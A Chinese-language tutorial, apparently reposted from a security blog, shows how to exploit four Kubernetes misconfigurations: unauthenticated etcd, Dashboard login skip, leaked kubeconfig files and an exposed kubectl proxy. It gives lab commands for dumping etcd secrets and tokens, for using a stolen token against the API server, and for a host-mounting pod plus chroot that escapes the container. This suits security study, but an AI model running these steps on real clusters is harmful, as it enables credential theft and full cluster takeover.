云原生篇-etcd未授权访问&Dashboard未授权访问&Configfile鉴权文件泄露&Kubectl Proxy不安全配置
原创
stalker2027lab
stalker2027lab
stalker2027lab
2026年6月30日 01:27
新疆
在小说阅读器读本章
去阅读
一、etcd未授权访问
攻击2379端口：默认通过证书认证，主要存放节点的数据，如一些token和证书。
配置文件：/etc/kubernetes/manifests/etcd.yaml
攻击方式：
第一种：没有配置指定--client-cert-auth 参数打开证书校验，暴露在外Etcd服务存在未授权访问风险。-暴露外部可以访问，直接未授权访问获取secrets和token利用第二种：在打开证书校验选项后，通过本地127.0.0.1:2379可免认证访问Etcd服务，但通过其他地址访问要携带cert进行认证访问，一般配合ssrf或其他利用，较为鸡肋。-只能本地访问，直接未授权访问获取secrets和token利用第三种：实战中在安装k8s默认的配置2379只会监听本地，如果访问没设置0.0.0.0暴露，那么也就意味着最多就是本地访问，不能公网访问，只能配合ssrf或其他。-只能本地访问，利用ssrf或其他进行获取secrets和token利用
复现搭建：
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
安装etcdctl：
https://github.com/etcd-io/etcd/releases
安装kubectl：
https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
复现利用：
暴露etcd未授权->获取secrets&token->通过token访问API-Server接管SSRF解决限制访问->获取secrets&token->通过token访问API-Server接管
etcV2/V3版本利用参考：
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
利用参考：
https://www.wangan.com/p/7fy7f81f02d9563ahttps://www.cnblogs.com/qtzd/p/k8s_etcd.html
V2版本利用：
直接访问http://ip:2379/v2/keys/?recursive=true 可以看到所有的key-value值。（secrets token）
V3版本利用：
读取etcd中存储所有数据：
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
向etcd中插入几条测试数据
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 \"Hello world1\"./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 \"Hello world2\"./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 \"Hello world3\"
获取k8s中路径以 /secrets/ 开头的密钥类键名：
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
读取service account token（举例，不一定有）:
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
通过token访问API-Server，获取集群的权限（进行6443流程）：
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=\"ey...\" -n kube-system get pods
2、云原生-K8s安全-Dashboard未授权访问
默认端口：8001
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况：
一种是在本身就存在着不需要登录的http接口，但接口本身并不会暴露出来，如接口被暴露在外，就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦，修改了配置文件，使得安全接口https的dashboard页面可以跳过登录。
复现利用：
用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboardKubernetes-dashboard绑定cluster-admin（拥有管理集群的最高权限）1、安装：https://blog.csdn.net/justlpf/article/details/1307187742、启动：kubectl create -f recommended.yaml3、卸载：kubectl delete -f recommended.yaml4、查看：kubectl get pod,svc -n kubernetes-dashboard5、利用：新增Pod后续同前面利用一致
找到暴露面板->dashboard跳过-创建或上传pod->进入pod执行-利用挂载逃逸
apiVersion: v1kind: Podmetadata: name: xiaodisecspec: containers: - image: nginx name: xiaodisec volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /
3、云原生-K8s安全-Configfile鉴权文件泄漏
攻击者通过Webshell、Github泄露等拿到了K8s配置的Config文件，操作集群，从而接管所有容器。K8s configfile作为K8s集群的管理凭证，其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等)，就可以直接通过API Server接管K8s集群，带来风险隐患。用户凭证保存在kubeconfig文件中，通过以下顺序来找到kubeconfig文件：
-如果提供了--kubeconfig参数，就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数，但设置了环境变量$KUBECONFIG，则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有，kubectl就使用默认的kubeconfig文件~/.kube/config
复现利用：
K8s-configfile->创建Pod/挂载主机路径->Kubectl进入容器->利用挂载逃逸1、将获取到的config复制2、安装kubectl使用config连接安装：https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux连接：kubectl -s https://192.168.139.130:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes3、上传利用test.yaml创建podkubectl apply -f test.yaml -n default --kubeconfig=config4、连接pod后进行容器挂载逃逸kubectl exec -it xiaodisec bash -n default --kubeconfig=configcd /mntchroot . bash
4、云原生-K8s安全-Kubectl Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时，会用到Kubectl Proxy，使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
环境搭建：
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
复现利用：
类似某个不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。找到暴露入口点，根据类型选择合适方案kubectl -s http://192.168.139.130:8009 get pods -n kube-system
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论